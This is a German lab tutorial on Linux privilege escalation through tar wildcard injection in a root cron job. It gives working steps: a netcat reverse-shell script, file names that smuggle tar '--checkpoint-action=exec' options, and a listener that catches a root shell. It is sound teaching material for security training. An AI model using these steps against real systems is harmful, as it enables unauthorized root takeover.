Einführung
In diesem Lab werden wir uns mit der Wildcard-Injection (Platzhalter-Injektion) befassen, einer Technik zur Privilegierhöhung auf Linux-Systemen. Insbesondere werden wir das Prinzip der Wildcard-Injection im weit verbreiteten tar-Befehl untersuchen und eine praktische Übung durchführen, um Root-Privilegien zu erlangen, indem wir diese Schwachstelle in Kombination mit dem crontab-Tool ausnutzen.
Grundlagen zu Wildcards verstehen
Zunächst verstehen wir, was Wildcards (Platzhalter) sind und wie sie in der Linux-Shell funktionieren. Wildcards sind spezielle Zeichen oder Zeichenfolgen, die verwendet werden können, um eine Gruppe von Dateinamen oder Pfaden darzustellen oder zu matchen.
Hier sind einige häufige Wildcards:
*(Sternchen) passt auf eine beliebige Anzahl von Zeichen (einschließlich null Zeichen) in einem Dateinamen oder Pfad.?(Fragezeichen) passt auf ein beliebiges einzelnes Zeichen.[](eckige Klammern) passen auf ein beliebiges einzelnes Zeichen aus der in den Klammern angegebenen Zeichenmenge.~(Tilde) repräsentiert das Home-Verzeichnis des aktuellen Benutzers oder eines anderen Benutzers, wenn es von einem Benutzernamen gefolgt wird.
Im Zusammenhang mit der Privilegierhöhung werden häufig die Wildcards * und - verwendet. Lassen Sie uns zunächst untersuchen, wie die Shell das --Zeichen interpretiert.
Öffnen Sie ein Terminal und navigieren Sie in das Verzeichnis
/home/labex/project:cd /home/labex/projectEs gibt eine Datei namens
--helpim aktuellen Verzeichnis. Versuchen Sie, darüber nachzudenken und zu experimentieren, wie Sie den Inhalt dieser Datei anzeigen können.Wenn Sie den Befehl
cat --helpverwenden, erhalten Sie die Hilfemeldung für dencat-Befehl anstatt den Inhalt der Datei--helpanzuzeigen.Ähnlich wird bei Verwendung von
vim --helpeine Hilfemeldung für denvim-Befehl angezeigt.Dies liegt daran, dass die Linux-Shell
-als Befehlsargument interpretiert.Um den Inhalt der Datei
--helpanzuzeigen, müssen Sie vermeiden, dass der Dateiname mit-beginnt. Sie können folgendes verwenden:cat /home/labex/project/--helpAuf diese Weise wird die Shell
--helpnicht als Argument interpretieren, und Sie können den Dateiinhalt anzeigen.Jetzt ändern wir den Inhalt der Datei
--helpmit einem beliebigen Editor Ihrer Wahl. Beispielsweise können Sienanoverwenden:nano /home/labex/project/--helpLöschen Sie den vorhandenen Inhalt und fügen Sie den folgenden Text in die Datei ein:
I can read the fileSpeichern Sie die Datei und verlassen Sie nano.
Dieses Verhalten der Shell wird von der Wildcard-Injection (Platzhalter-Injektion) ausgenutzt.
Wildcard-Injection wird oft in Kombination mit Cron-Jobs eingesetzt. Lassen Sie uns daher ein reales Beispiel mit dem tar-Befehl betrachten.
Crontab Tar Wildcard-Injection
Um zu verstehen, wie Wildcard-Injection (Platzhalter-Injektion) zur Privilegierhöhung führen kann, werden wir eine praktische Übung mit dem tar-Befehl und crontab durchführen.
Zunächst initialisieren wir die Lab-Umgebung, indem wir den folgenden Befehl ausführen:
Navigieren Sie in das Verzeichnis
/home/labex/project:cd /home/labex/projectFühren Sie das Setup-Skript aus, um die Lab-Umgebung zu initialisieren:
./env_setup.shNach der Initialisierung werden Sie auf den Benutzer
user001umgeschaltet (dies simuliert einen Angreifer, der zunächst Zugang zur Shell erlangt hat).Dann überprüfen wir die
crontabauf geplante Aufgaben:cat /etc/crontabErwartete Ausgabe:
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *Sie sollten eine Aufgabe sehen, die jede Minute ausgeführt wird und den Inhalt des Verzeichnisses
/var/www/html/in eine komprimierte Datei/var/backups/html.tgzarchiviert.Als Nächstes werfen wir einen Blick auf die Dateien im Verzeichnis
/var/www/html:ls /var/www/htmlUm die Wildcard-Injection-Schwachstelle auszunutzen, müssen wir die folgenden drei Dateien im Verzeichnis
/var/www/html/erstellen.Zunächst navigieren Sie in das Verzeichnis
/var/www/html:cd /var/www/html/shell.shmit dem Inhalt, um eine Reverse-Shell auszuführen:echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.shEine Datei namens
--checkpoint-action=exec=sh shell.sh(beachten Sie die Leerzeichen im Dateinamen):echo "" > "--checkpoint-action=exec=sh shell.sh"Eine Datei namens
--checkpoint=1:echo "" > --checkpoint=1
Nach dem Erstellen dieser Dateien sollte das Verzeichnis
/var/www/html/so aussehen:'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.shWenn der Cron-Job den folgenden Befehl ausführt:
tar -zcf /var/backups/html.tgz /var/www/html/*Wird er wie folgt interpretiert:
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.htmlHier ist die Bedeutung der Parameter:
--checkpointund--checkpoint-actionwerden normalerweise zusammen verwendet. Das erste setzt einen Checkpoint, und das zweite gibt die Aktion an, die ausgeführt werden soll, wenn der Checkpoint erreicht wird.--checkpoint-action=exec=sh shell.shbedeutet, dass wenn der Checkpoint erreicht wird, das Skriptshell.shausgeführt wird.
Somit wird jedes Mal, wenn der Cron-Job ausgeführt wird, das Skript
shell.shausgeführt, das eine Reverse-Shell von/bin/bashan den lokalen Port 4444 sendet.Stellen wir einen Listener auf dem lokalen Port 4444 in der aktuellen Shell ein:
nc -lnvp 4444Nach kurzer Wartezeit, wenn der Cron-Job ausgeführt wird, sollten wir die Reverse-Shell mit Root-Privilegien erhalten:
Erwartete Ausgabe:
Listening on 0.0.0.0 4444 Connection received on 127.0.0.1 56226Versuchen Sie, eine Datei
success.txtim Verzeichnis/rootzu erstellen, um zu bestätigen, dass Sie Root-Privilegien haben:touch /root/success.txtWenn Sie die Datei ohne Berechtigungsfehler erstellen können, haben Sie Ihre Privilegien erfolgreich mithilfe von Wildcard-Injection erhöht.
Es gibt zwei wichtige Einschränkungen bei dieser tar + crontab-Privilegierhöhungstechnik:
Das Verzeichnis
htmlmuss für "andere" Benutzer Schreibrechte (w) haben, damit wir die Dateienshell.shund andere in diesem Verzeichnis erstellen können.Der
tar-Befehl in dercrontabsollte keinen absoluten Pfad enthalten. Beispielsweise, wenn dercrontab-Eintrag so aussieht:* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*Die Wildcard-Injection wird fehlschlagen, weil die Shell den Befehl wie folgt interpretieren wird:
tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.htmlIn diesem Fall werden
/var/www/html/--checkpoint=1und/var/www/html/--checkpoint-action=exec=sh shell.shnicht alstar-Befehlsargumente interpretiert, und die Injektion wird fehlschlagen.
Zusammenfassung
In diesem Lab haben wir uns mit der Wildcard-Injection (Platzhalter-Injektion) beschäftigt, einer Technik zur Privilegierhöhung auf Linux-Systemen. Wir haben das Prinzip der Wildcard-Injection im weit verbreiteten tar-Befehl untersucht und eine praktische Übung durchgeführt, um Root-Privilegien zu erlangen, indem wir diese Schwachstelle in Kombination mit dem crontab-Tool ausgenutzt haben. Durch dieses Lab haben wir praktische Erfahrungen in der Erkennung und Ausnutzung einer realen Privilegierhöhungsschwachstelle gesammelt, was eine essentielle Fähigkeit für jeden Sicherheitsexperten oder Systemadministrator ist.